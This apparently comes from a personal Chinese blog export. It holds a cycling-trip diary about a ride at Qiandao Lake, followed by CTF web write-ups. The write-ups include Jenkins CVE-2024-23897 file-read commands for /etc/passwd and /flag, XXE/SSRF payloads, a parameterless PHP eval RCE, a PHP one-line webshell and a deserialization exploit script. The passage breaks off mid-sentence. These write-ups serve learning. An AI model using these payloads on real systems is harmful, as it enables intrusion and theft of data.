注：4+2指的是四个轮子驮着俩轮子，也就是汽车带上自行车去稍远的地方骑车\n\n至于为什么写这一次的4+2活动，因为这是我2023年的最后一次骑车🫠（课业繁重.jpg）\n\n所以趁着脑瓜子还稍微能回忆起来一点附加兴起😡buff，赶紧爬起来写一点。回忆也都是根据照片回忆的，估计会少了很多细节，问题不大，既然能被我拍进手机，就证明还是值得纪念的。\n\n补上一张图来进入下一章节吧：\n\n出发前：\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231103_182346.jpg)\n\n到达千岛湖：\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_094308.jpg)\n\n> 为什么是两张图？别管🤫\n\n# 二、出发\n\n### 1.第一天\n\n看到图中的紧身衣变态了吗😎这就是本次活动的大腿promax🥵---wch此时他正在调试他的爱车，而后面充当背景板的黑色衣服的、手臂极似鸡爪🤪的大哥，正是本次活动组织者兼领队rcf，此时的他正在给我们讲本次行程的路线规划\n\n> 敬请大家注意骑游活动内混入的紧身衣变态，这种一般不是来骑游的🤓☝️\n\n> 稍微插一嘴，wch和zlz前一天晚上由于没赶上高铁在高铁站睡了一晚，惨得嘞，默默同情0.1秒😱但依然不妨碍大腿轻松碾压我们doge（我打doge输入法竟然出了董哥，这太可怕了）\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_094313.jpg)\n\n出发！（浅浅放几张拍的风景图）\n\n一路上感受就是：太美丽了家人们，woc，woc，woc，woc。。。\n\n而且骑车过程基本就是痛并快乐着，没啥好说的，直接上图\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_094634.jpg)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_095349.jpg)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_100452.jpg)\n\n去的时候正好赶上千岛湖骑车比赛，就算不参赛咱也能沾光感受一下氛围不是🤓☝️\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_110543.jpg)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_114525.jpg)\n\n以及到达第一个存档点-某个知名或不知名大桥（不知道叫啥名）以及第一次正式的合照\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/b1fda4968d9e195a13b48f2ac3d7b4d.jpg)\n\n（看看笑的多灿烂，等到晚上就不是这样了）\n\n既然出来玩了，那中午肯定吃大餐了吧😎，emm，我忘了吃啥了，过\n\n我想起来了，确实是吃的大餐，经过rcf的友情提醒，当天中午我们在一个小餐馆吃的午饭，好几个菜呢😎但我忘了几道菜了，反正吃的挺好。而rcf称呼其为苍蝇馆子，也是让我想起来的一大重要原因，因为在我们吃饭的地方的外面有一个桶，那个桶怎么说捏，一言难尽，招了很多苍蝇飞来飞去，所以称呼为苍蝇馆子还是挺有记忆点的（饭还是很好吃的）\n\n继续骑！话说回来，这次休闲骑有多休闲捏，还是看图吧🤓都是小case\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/3b855be5d50be67d5296b9cb1fe573e.jpg)\n\n懒得码字还是图片轰炸吧😍\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_150623.jpg)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_150646.jpg)\n\n太阳西下也代表着今天骑行即将结束。。。怎么可能！爷们要夜骑😈\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_153040.jpg)\n\n不知为啥第一次看这图片没认出来是我自己（第一眼：我怎么有女生的图片 第二眼：怎么是我自己）\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_155608.jpg)\n\n太阳落山咯，要回家收衣服力\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_161426.jpg)\n\n下面这张图片的构图有点似曾相识\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_163520.jpg)\n\n好怪，再看一眼（不敢想象当时的我是怎么一边骑车一边拍出的这张照片）\n\n![CSDN图标](https://ts1.cn.mm.bing.net/th/id/R-C.48573c0189b72ca04852ad9a60a4d0fc?rik=5JbkEIj1D3AwSg&riu=http%3a%2f%2fy0.ifengimg.com%2f259b2c63b10c53e3%2f2014%2f0822%2fori_53f68c3842450.jpeg&ehk=5wzTLwwKLtuH%2f1f3qUVxFTNuRTM%2bupeKOEpJRcG5iB0%3d&risl=&pid=ImgRaw&r=0 \"CSDN图标\")\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_163533.jpg)\n\n是完整的夕阳捏🤩\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_164156.jpg)\n\n渐入佳境🤓☝️开启前灯进入夜骑模式\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_174511.jpg)\n\n然后出事故了，好像是wch的车爆胎了，但是工具包里面没有相应的备胎，这可就有点悲催了，当时的我们正要骑出一个村子。于是我们就在昏黄的路灯下面等待救援（我们打了最近的修车店电话，他承诺会派人跟我们送备胎来）所以我们就开始原地休息（玩耍）！\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/mmexport1699100097654.jpg)\n\n看看睡得多香呐\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/mmexport1699100100193.jpg)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/mmexport1699100104512.jpg)\n\n旁边有一辆铲车没锁门，哦上帝这太吸引我了🤪\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/mmexport1699100108670.jpg)\n\n摄影师：rsn\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/mmexport1699190898072.jpg)\n\n最后终于等来了救援，但是离谱的是那个修车店老板根本没有给来的人备胎，而是想让他把我们拉回去到他的店里去修，这已经和我们的行程相悖了，我们肯定是拒绝了，然后老板得知我们不过去之后就愤然挂了电话。还是很离谱，这时候就轮到我们和来接我们的人大眼瞪小眼，讨论了一会，最后得出的解决办法是让那个人接wch和rsn去市里修车，然后从市里再去我们的集合点，大家认为可行，就继续骑了。\n\n中间还发生了一些小插曲，比如骑错路 需要翻同一个山两次，岔路口走错路什么的，都是小问题，不碍事。\n\n到达第一天的小垭口--冠军岭（据说千岛湖赛段会经过这里）\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_214756.jpg)\n\n最后到达豪华住宿点！--- 云里雾里-客栈！当时老板还给我们留门，太感动了，并且还送牛奶给我们，很好的老板！（而且第二天走的时候我还顺走了他一张房卡，准确说是忘了退房了，但是老板也没说什么，好评）\n\n发现我好像没码太多字，想想也是，骑车到后面都是累的只剩蹬车子了，没啥故事发生了，再加上已经过了两个月，我已经忘没了当时的所思所想了，只能根据图片写了。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_231039.jpg)\n\n那么，晚饭是什么呢😍没错，就是骑行最佳拍档---泡面哟！还有小啤酒😈\n\n> 开车不喝酒 喝酒不开车。奥我这是蹬自行车，那没事了\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_232610.jpg)\n\nand豪华湖景房😍太美丽了家人们\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231104_235624.jpg)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_081608.jpg)\n\n### 2.第二天\n\n由于wch的车坐高没调好，导致昨天一天骑下来已经骑崩了，因此他和hzc选择了另一条近路回到集合点，因此导致他错过了很多好玩的事情，但是估计他遇到了心态应该会更崩（🙈）\n\n出发！图右为我的车车🤠\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_091758.jpg)\n\n此时千岛湖小分队还剩下5个人，而这五个人不知道接下来将要面对的是什么😈\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_091851.jpg)\n\n路边的橘子树，好想吃（我指的是橘子）\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_092437.jpg)\n\n太美丽了家人们\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_094446.jpg)\n\n请不要质疑为啥一共五个人照片里面会出现四个人😈\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_094528.jpg)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_102557.jpg)\n\n太美丽了，来不及回味一时的美景，接下来出场的是---修路施工大队！\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_112624.jpg)\n\n诶，这时候有人会问了：路堵了怎么过去捏？\n\n问得好！（我说你问了就是问了），请大家仔细观察上图，并在3秒内给出合理答案：\n\n3\n\n2\n\n1\n\n没错，就是这条临时木栅栏的路！当时旁边有个叔告诉我们可以从上面走，本着来都来了的原则，怎么可能绕路呢，冲就完了（请自行忽略rcf的脸）\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240130230724.png)\n\n当时目测坡度至少20+，并且还全是土路，但是好刺激，看看，笑的多开心呐，这也是我为什么说wch来了只会更崩溃，因为他穿的是锁鞋，根本走不了这种路🤓☝️\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_113106.jpg)\n\n这也是我第一次走这种路，很刺激😎\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/mmexport1699156668940.jpg)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_113108.jpg)\n\n最后也是成功的安全通过了这段路，有惊无险！可惜放不了视频，我还拍了很多视频\n\n接下来骑到了一个水坝下面\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_140734.jpg)\n\n而转眼我们就来到了上面休息，一座很复古的桥，躺着很有感觉🤓☝️\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_141557.jpg)\n\n名为：荷家坪大桥\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_141606.jpg)\n\n接下来就是爬一个较陡的山：\n\n途中所摄：（太美丽了家人们）\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_150942.jpg)\n\n接下来就是我们这两天遇到的最好的景色！山顶有一个豪华酒店，甚至有停机坪，还让我们进，太良心了\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_153949.jpg)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_154254.jpg)\n\n草坪上躺着的俺\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/mmexport1699170335304.jpg)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_154304.jpg)\n\n当丁达尔现象出现时，光就有了形状🤪\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_154906.jpg)\n\n五人小合照：rcf充当摄影师\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/mmexport1699170317023.jpg)\n\n准确的说我们拍照的地方还不算最高点，后面还有一个垭口，以及还有一段有趣的故事🤠\n\n当时我们走到地图上标注的岔路口之后，赫然发现，这tm竟然是土路\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_164845.jpg)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_165419.jpg)\n\n没办法，最后这爬升一百米基本上都是推上去的，事后据rcf所述，可能是之前有人骑车走过这里，本着自己淋过雨就把别人的伞扯坏的标准，那个人把这段路导入了strava，导致这段地图被认定为骑行路，因此导致了之后这段路线又会多出5个人走过的痕迹🤠\n\n到达最终垭口！\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_170416.jpg)\n\n而接下来往下走的时候，还是砾石路，只能继续推\n\n很有氛围感不是吗🤠\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_171544.jpg)\n\n接下来进入公路之后就是惊心动魄的下坡路，因为我的刹车片后刹已经快磨没了，所以我下山的时候基本下的很慢，捏死前刹，刺激的很！\n\n最后我们到了一个超市进行休息，那肯定是少不了泡面火腿肠了🤤\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_194557.jpg)\n\n据门口的阿姨所说，我们过来的地方曾经是红军根据地，果然很偏僻，而且阿姨很热心，看我们这么晚了还在骑车就邀请我们去她家住，还要给我们炒鸡蛋吃，太热心了！\n\n之后就是一直骑往我们刚来千岛湖所住的酒店，然后骑到一半，下大雨了！而且是瓢泼大雨，哗哗的，老刺激了，我们只能找一个地方避雨等着hzc开着车来接我们\n\n最后很戏剧的结束了这次骑行活动\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/IMG_20231105_211344.jpg)\n\n# 三、结束\n\n总结来说，这次活动应该是让我印象很深的一次4+2了，可以说是遇到了各种情况，爆胎没带备胎，爬错山，走错路，爬土坡，走土路，吃泡面，吃苍蝇馆子，还是很有纪念意义的！！\n\n全文完\n","tags":["游记","骑行人生"],"categories":["游记"]},{"title":"rwctf2024 web题复盘","url":"/2024/01/27/rwctf/","content":"\n> 又是好久没做ctf题了，今天看到有rwctf就赶过来试试。\n\n# 一、Be-a-Security-Researcher\n\n> 这题在短时间内就被打穿了，我以为很简单，第一次做的时候爆破半天没出，刚才又做了一下发现还是不行。百无聊赖的去搜了一下jenkins是啥，结果发现是一个系统，我一直以为是出题人自己搞得名字什么的，原来是一个系统，下意识就想到了利用系统漏洞，最后发现很简单就利用了，利用的就是前几天刚爆出来的漏洞，与时俱进！\n\n先打开题目，发现是登录框，下意识就去爆破了，弱密码爆破了半天，没有结果\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240127161837.png)\n\n如上所述，发现jenkins是一个系统之后就赶紧去搜一下题目的版本，最后在包里发现版本为2.441.（如下），立马Google一下，发现正好是**CVE-2024-23897**，而且版本正好在漏洞范围之内。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240127161950.png)\n\n之后就是看了一大堆文章，主要参考了[[CVE-2024-23897]Jenkins CLI 任意文件读取漏洞导致远程代码执行漏洞-CSDN博客](https://blog.csdn.net/weixin_42353842/article/details/135861439)这篇文章找到了poc的主体，然后从另一篇文章中找到了其他的利用方法。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240127162245.png)\n\npoc主体：（前提需要电脑有java环境）\n\n```cmd\njava -jar jenkins-cli.jar -s http://47.96.171.129:8080// connect-node \"@/etc/passwd\"\n```\n\n但是上面的还不能实现任意文件读取，根据上图，将命令改成who-am-i即可实现，然后直接读取/flag即可爆出flag（以及jenkins-cli.jar需要自己下载，官方建议从相应的环境中直接下载，在本题中访问http://47.96.171.129:8080/jnlpJars/jenkins-cli.jar即可下载本题的cli包）\n\n最终poc：\n\n```cmd\njava -jar jenkins-cli.jar -s http://47.96.171.129:8080/ who-am-i \"@/flag\"\n```\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240127162557.png)\n\n# 二、文件上传\n\n第二题是个文件上传，题目叫**要优雅**，但是面对这题我是优雅不起来，利用报错信息发现是java后端之后上传了无数个jsp文件，各种一句话木马都用了一下还是没有成功。当时做了半天实在是做不出来就放弃了。想着之后复盘一下，现在发现比赛一结束就不让再继续做题了，然后我搜遍全网也没找到题解。。只能先继续保持观望了，等题解出了我再去看看。\n\n然后今天去考科一，发现错过了西湖论剑的比赛时间，就这样吧。。（怎么才8个小时就结束了）。\n","tags":["ctf复现","利用CVE"],"categories":["ctf","赛题回顾"]},{"title":"squarectf 回顾+复现","url":"/2023/11/21/squarectf/","content":"\n# 一、Be The Admin\n\n##### 1.回顾\n\n这题最开始点进去发现后缀有?id=1第一反应是sql注入，尝试一下手工注入发现报错，其中的报错信息\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121114141.png)\n\n看到是java环境，就去搜索了相关的赛题，然后巨多巨麻烦，囫囵吞枣的试了半天也没成，但是一看这题只有75分，并且还写的是十分基础的题，给我整不会了，最后也没做出来。之后开了题解才发现原来这么简单。\n\n##### 2.复现\n\n漏洞复现很简单，就是先抓包发现他设置了一个cookie，用base64解码发现是\n\nCTF Participant\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121115223.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121115255.png)\n\n所以就把CTF Participant改成admin编码一下发过去就成了...\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121115344.png)\n\n还有一个坑是需要把等号删去，不然还是成不了，奇怪..\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121115401.png)\n\n出现flag\n\n# 二、Just Go Around\n\n> 芜湖，第一个自己完成的xxe+ssrf，解出来的一刻好激动\n> \n> 这个由于当时卡在了75分的题上面，感觉75分的我都做不出来，这个250的当时看了一眼是xxe就直接没看，现在准备看一下题解看看怎么做，结果打开题解发现说了又好像没说，如说。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121150604.png)\n\n让chatgpt翻译一下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121150628.png)\n\n翻译完了感觉确实是没说，看题解之前已经可以用xxe了，最主要的后面的部分没有，没办法只能自己试了，但是至少给了思路是es的后端。\n\n先正常思路找到post，然后随便输入一下并且上传，抓包，发现是把上传的数据转成xml进行上传，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121150809.png)\n\n所以我们就可以简单改造一下就可以实现xxe注入其中SYSTEM后面的部分就可以注入我们自己的代码实现功能。\n\nxxe不止有读取文件，还能访问内网，而访问内网就是这题的关键步骤，而这两种方式的利用方法如下：\n\n- 读取文件，利用file协议，具体用法为 file://你要读取的文件目录\n\n例如，想读取根目录下面的/flag文件，本题情况下就可以使用如下代码\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<!DOCTYPE ANY [<!ENTITY foo SYSTEM \"file:///flag\">]>    \n<post author=\"CTF\" id=\"0\" title=\"122\">\n<message>&foo;</message>\n</post>\n```\n\n这样就可以读取/flag文件，但是本题不适用\n\n- 访问内网，就是用http协议，如下，就是本题所利用的方式\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<!DOCTYPE ANY [<!ENTITY foo SYSTEM \"http://172.21.0.2:9200\">]>    \n<post author=\"CTF\" id=\"0\" title=\"122\">\n<message>&foo;</message>\n</post>\n```\n\n回到题目，我主要是参考了这篇博客，给了我很大启发并解出题目，如果没有这篇博客我是肯定解不出来的。\n\n[XXE漏洞攻击——几道CTF题_xxe ctf-CSDN博客](https://blog.csdn.net/qq_45521281/article/details/106112654)\n\n其中的xxe+ssrf部分。\n\n继续解题，先访问一下/etc/passwd文件，如下，发现没有有用信息\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121141003.png)\n\n然后我就是先访问了/根目录，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121152646.png)\n\n发现了justgoaround的题目文件，然后就是挨个访问，过程过于漫长并且无聊就不放了，终于，打开了一个似乎很有用的文件，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121141803.png)\n\n发现给出了访问es数据库的端口（后面证明这是es的默认端口），但也是一个进步，然后继续找，看一下上面的博客，访问一下/etc/hosts，发现了一个ip地址，疑似内网，直接进去\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121144539.png)\n\n如果直接进上面的ip地址是错误的，然后只能试了，发现把3改成2有回显！如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121145113.png)\n\n这就说明已经找到了es的地址，所以就直接搜索一下所有文档，flag就出了\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-11-21%20150127.png)\n\n**flag{tHISiSapRIVATEpOSTdONTlOOK}**\n\n> 注：具体的搜索命令我是用的ChatGPT给出的，效果很不错，所以看样子之后的比赛ChatGPT和Google一样重要了。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231121152540.png)\n","tags":["ctf复现"],"categories":["ctf","ctf复现"]},{"title":"NewStarCTF2023-week2-web题wp","url":"/2023/10/09/newstarweek2/","content":"\n> 芜湖！！\n> \n> ![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231009205826.png)第一次ak完整的web题，激动的心，颤抖的手，嗨嗨嗨，我来写一下wp，就从最折磨我的也是刚做完的rce题开始。\n\n## 一、R!!C!!E!!\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231009205739.png)\n\n这题点进环境发现提示有泄露信息，但是没有其他任何提示。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231009210104.png)\n\n既然没有提示，那就遇事不决先扫一下试试：\n\n扫到有.git/HEAD，猜测是git泄露，Google一下搜到一个工具GitHack，很好用，下载地址和使用说明如下[lijiejie/GitHack: A `.git folder disclosure exploit (github.com)](https://github.com/lijiejie/GitHack) \n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231009210052.png)\n\n然后直接运行脚本，发现已经把泄露的文件下载到本地了，这就是源码和flag的位置。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231009113047.png)\n\n源码如下，就是rce了，然后查看start.sh，发现flag在根目录下面/flag的位置，那就先看代码如何rce\n\n```php\n<?php\nhighlight_file(__FILE__);\nif (';' === preg_replace('/[^\\W]+\\((?R)?\\)/', '', $_GET['star'])) {\n    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){\n        eval($_GET['star']);\n    }\n}\n```\n\n最折磨我的地方就是这个正则表达式，网上搜不到具体的原理，但是有相关的题，反正意思就是你的输入只能是a(b(c()))这样的套娃类型，才会被正则表达式识别，最后只剩下“ ; ”，这个正则表达式我在在线正则表达式匹配器上都显示语法错误，不知道为啥到了php里面就这样了。但这个记住就好，如果限制a(b(c()))这样的类型只有这一种写法，应该是只会在题里面出现，真实环境里面应该没有开发者闲得蛋疼用这个正则表达式。然后这种类型的题就是**无参数rce**，应该还挺常见的。\n\n### 1.无参数rce\n\n可以看看这篇文章，讲的还挺全面的[RCE篇之无参数rce | Arsene.Tang (arsenetang.com)](http://arsenetang.com/2021/07/26/RCE%E7%AF%87%E4%B9%8B%E6%97%A0%E5%8F%82%E6%95%B0rce/#1-getallheaders)\n\n以后有空我也要开一个这样的专题讲一讲（新的flag出现了）\n\n这题比较逆天，因为目前的很多无参数rce的博客里面用到的核心主力就是scandir这个函数，用来获取文件名来执行，但是这题给禁用了，不仅禁了这个还禁了其他的很多东西，当时我就觉得这就很难办了啊。[【CTF竞赛】无参数RCE总结-阿里云开发者社区 (aliyun.com)](https://developer.aliyun.com/article/1213814)然后我又在这篇文章里面发现了新的思路，可以通过输出请求头来实现远程rce。\n\n具体思路就是先getallheaders()函数获得请求头，发现有回显，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231009213751.png)\n\n### 2.构造payload\n\n这样就可以想法往请求头里面填恶意代码了，经过测试发现cookie可以实现上述目标，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010191420.png)\n\n发现cookie会显示在回显数组中，这样我们就可以想办法提取出数组中cookie的值就可以实现rce了，然后就会用到两个魔法函数array_rand()和array_flip(),其中array_rand是可以取出数组的键名，但是缺点是随机生成的，需要一点运气。但是本题中数组中的键值是cookie，这种情况下就需要另一个函数array_flip()，这个函数可以实现数组的键值和值互换，这样就实现了我们想要的功能，所以到这步的payload为\n\n```cmake\nprint_r(array_rand(array_flip(getallheaders())))\n```\n\n这时候应该会随机输出键名，有机会出现我们注入的恶意代码，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010192046.png)\n\n所以我们就可以把print_r改成eval函数实现注入了！\n\n最终就可以输出flag，get flag！\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010192209.png)\n\n## 二、Upload again!\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010192341.png\" title=\"\" alt=\"\" width=\"304\">\n\n打开网页，发现是很抽象的文件上传\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-10-10%20192410.png)\n\n按照文件上传的老套路，先上传一个正常的jpg文件试试，结果发现报错了？？显示我上传的文件是php文件，wtf。很迷惑，在抓到的包中直接将2.jpg改成2.php也会被过滤，最后我把文件内容全删了，只上传一个空文件却发现过了，成功上传，然后我又用一个啥也没有的空文件试，发现成功了。这题这里服务器好像出了问题，上传文件就会显示500错误码\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010202255.png)\n\n所以我就大概讲讲原理就好\n\n这题经过测试发现过滤了“  ？  ” 这个符号，也就是只要我上传的数据里面有问号就会被认为是php文件，但是并没有过滤php这个字符串，所以就简单了，参考我之前[写的文章](https://thenights1.github.io/2023/09/07/web3/),主要就是利用了.htaccess文件上传，使得jpg文件或者png文件被当做php文件来解析，这样就可以用蚁剑连接了。但是？被过滤了该怎么在jpg文件里面写入一句话代码呢？没办法之后继续Google，发现了另一种php代码的书写方法，参考下面这篇文章\n\n[php一句话木马变形技巧_php get一句话-CSDN博客](https://blog.csdn.net/bylfsj/article/details/101227210)\n\n如下：\n\n```php\n<script language=\"php\">@eval_r($_GET[b])</script>\n```\n\n就是利用script代替<? 、?>标签，这样就绕过了对？的过滤限制，最后就可以用蚁剑连接了。\n\n## 三、Unserialize？\n\n看题目就知道是反序列化，打开题目有如下代码\n\n```php\n<?php\nhighlight_file(__FILE__);\n// Maybe you need learn some knowledge about deserialize?\nclass evil {\n    private $cmd;\n\n    public function __destruct()\n    {\n        if(!preg_match(\"/cat|tac|more|tail|base/i\", $this->cmd)){\n            @system($this->cmd);\n        }\n    }\n}\n\n@unserialize($_POST['unser']);\n?>\n```\n\n显然是反序列化并且是有一定的过滤，对于反序列化我之前的[这篇小总结文章](https://thenights1.github.io/2023/09/06/web2/)已经讲过，既然是反序列化，那就先写代码，输出序列化之后的值，而且要注意private类型的两侧有\\00，这个是无法输出也无法复制的，上次的题是因为有base64编码导致可以复制，但是这题没有，显然就只能生成完了通过代码发往服务器，没办法只能在网上搜了一个php通用的类似python request的函数，剩下的就是反序列化的老生常谈了，把object数量改成大于正常数量，同时把恶意代码放入evil类的cmd中，就会触发destruct函数并执行我们的恶意代码，实现反序列化注入，同时还要绕过正则表达式，最终exp如下\n\n```php\n<?php\nfunction send_post($url, $post_data) { \n    $postdata = http_build_query($post_data);\n    $options = array(\n      'http' => array(\n        'method' => 'POST',\n       'header' => 'Content-type:application/x-www-form-urlencoded',\n       'content' => $postdata,\n        'timeout' => 15 * 60 // 超时时间（单位:s）\n      )\n    );\n    $context = stream_context_create($options);\n    $result = file_get_contents($url, false, $context);\n    return $result;\n  }  \n\nclass evil { \n    private $cmd;\n    public function __construct($cmd) { \n        $this->cmd = $cmd; \n    }\n    public function __destruct()\n    {\n        if(!preg_match(\"/cat|tac|more|tail|base/i\", $this->cmd)){\n            echo 'get it';\n        }\n    }\n    function __wakeup() { \n        if ($this->cmd != 'index.php') { \n            //the secret is in the fl4g.php\n            $this->cmd = 'index.php'; \n        } \n    } \n}\n$c = new evil(\"ls /\");\n$a = serialize($c);\n\n//$a = str_replace(\"O:4\",\"O:+4\",$a);\n$a = str_replace(\":1:\",\":2:\",$a);\necho $a;\n$post_data=array('unser' => $a);\n$text=send_post(\"http://e80e149a-1640-4d65-bae5-d3e742351d5b.node4.buuoj.cn:81/\",$post_data);\necho $text;\n//print(serialize($c));\n//var_dump(base64_encode($a));\n?>\n```\n\n运行一下发现成功注入，服务器端执行了我们的ls代码，并且发现了flag文件，这样就简单了\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010194700.png)\n\n想办法打开flag文件就行，这里发现题中过滤了很多打开函数，但是没有过滤全，这里补一下知识：\n\n```cmake\ncat：从第一行开始显示文本内容（适用于内容较少的）\ntac：从最后一行开始显示，是 cat 的逆顺序\nmore：一页一页的显示文本内容（适用于内容较多的）\nless：与 more 类似，但是比 more 更好的是，它可以往前翻页！\nhead：只看文本的前面几行\ntail：只看文本的后面几行\nnl：显示文本内容与行号\n```\n\n所以只需要找没有被过滤的命令就可以拿到flag了，经过测试 